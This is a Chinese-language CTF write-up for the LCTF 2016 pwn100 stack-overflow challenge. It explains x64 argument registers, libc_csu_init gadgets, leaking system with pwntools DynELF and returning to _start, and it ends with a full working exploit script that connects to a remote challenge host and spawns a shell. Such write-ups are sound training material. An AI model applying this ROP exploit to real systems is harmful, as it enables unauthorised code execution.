LCTF 2016-pwn100 从一道题悟出的知识

这道题可是让我吃尽了苦头啊~~~~~~  这道题没有像那么复杂 可是就是一直做不出来。。。。。。。。。。。

先说一下 参考的资料吧 

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn

感谢i春秋的师傅  

如果哪里不对 还请指教

首先这道题是 64位  那么 我们知道 x86都是靠栈来传递参数的  而x64换了 它顺序是rdi, rsi, rdx, rcx, r8, r9,  如果多于6个参数 才会用栈  我们要先知道这个特性 

LCTF 2016-pwn100 从一道题悟出的知识_第1张图片

一开始我是先测试了一下 返回put的 地址 距离我们输入的地址是  200个字符   距离我们  的返回地址是  72个字符 

LCTF 2016-pwn100 从一道题悟出的知识_第2张图片

然后。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

我就很懵了  最近看驱动看的很懵  然后看堆溢出 看的也很头疼    看那些神仙打架的re 也是看的头懵 然后 这个我也蒙了  

你说字符串 /bin/sh  也没有  system函数也是没有  那让我怎么利用啊~~~~~

然后  emmmm  

无奈的我就只能搜题解了   然后有个师傅告诉我 i春秋有这样的贴子 我就看了一下   感觉受益匪浅  然后  非常感谢 那位师傅 的无私奉献 然后 我就继续说我的心得~~~~

然后 就看到了 师傅 说的那些东西 然后就跟着看了看 总结了几点的东西

然后 这里按照自己的理解说一下 

这里面呢  需要 一些 gadget   一般在 libc_csu_init 里面 这个东西就是用来 在栈中使用的   

一般类型是  

  1. pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
  2. mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
  3. pop rdi; retn  

  第三个 是怎么得出来的 就是

就是现在  62那个地址 变成 data  然后再变成code  你就发现  

LCTF 2016-pwn100 从一道题悟出的知识_第3张图片

这就没有什么解释得了 那么 肯定就算这些东西 然后呢  能完成 bin/sh 字符串的输入 还能把system 的地址都找出来呢 

其实 仅靠这个 是做不出来的  

还需要 另外两样东西  

第一个就是  DynELF    

第二个就是       恢复栈

第一个 这个东西详情可以去看i春秋 那个师傅写的  很详细   就是 pwntool 提供的一个类 然后可以进行 查找地址  然后我们可以 用puts 或者 其它打印函数打印出来 然后就可以 拿到 system 的地址了

第二个 感觉有必要说一下  其实我们主函数 并不是程序的开始   严谨的说 它上面还是有函数给做一些的准备工作的  

这个函数 在ida 里面显示的就是 

LCTF 2016-pwn100 从一道题悟出的知识_第4张图片

 

没错就是 start 这个函数  

有这个函数 我们就可以多使用这个栈几次  

我们的思路是  先用 leak 获取到  system地址 然后 继续恢复栈  然后我们继续 用 那个栈  

然后再用   gadget  配合 然后 调用read函数    然后找一段空间 写入 bin/sh   然后在恢复栈

然后 在写入 调用 system 函数就ok了  emmmm  这就是结果 

然后下面是 我根据师傅写的exp  自己模范着写了一遍 ~~~~~

#!/usr/bin/python
#coding:utf-8

from pwn import*


start_addr=0x400550
pop_rdi=0x400763
gadget1=0x40075a
gadget2=0x400740
binsh_addr=0x60107c




io=remote("111.198.29.45","31154")
elf=ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

def leak(addr):
	count=0
	up=''
	content=''
	payload='a'*72
	payload+=p64(pop_rdi)
	payload+=p64(addr)
        payload += p64(puts_addr)
	payload+=p64(start_addr)
	payload=payload.ljust(200,'a')
	io.send(payload)
	io.recvuntil("bye~\n")
	while True:
		c=io.recv(numb=1,timeout=0.1)
		count+=1

		if up == '\n' and c == "": 
			content=content[:-1]+'\x00'
			break				
		else:
			content+=c
			up=c
	content=content[:4]
        log.info("%#x => %s" % (addr, (content or '').encode('hex')))
	return content



d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)

payload='a'*72
payload+=p64(gadget1)
payload+=p64(0)      #rbx=0
payload+=p64(1)      #rbp=1  call 
payload+=p64(read_got)	# read
payload+=p64(8)		#read size
payload+=p64(binsh_addr)	
payload+=p64(0)		#r15 read canshu
payload+=p64(gadget2)
payload+='\x00'*56
payload+=p64(start_addr)
payload=payload.ljust(200,'a')

io.send(payload)
io.recvuntil('bye~\n')
io.send('/bin/sh\x00')


payload = "A"*72				
payload += p64(pop_rdi)	#system("/bin/sh\x00")	
payload += p64(binsh_addr)		
payload += p64(system_addr)		
payload = payload.ljust(200, "B")	

io.send(payload)
io.interactive()

 

LCTF 2016-pwn100 从一道题悟出的知识_第5张图片

 

 

还学到了一点   gedit真好用~~~~~

 

如果 侵权 或者需要修改 请联系  本人道歉修改或删除

你可能感兴趣的:(栈溢出,堆溢出)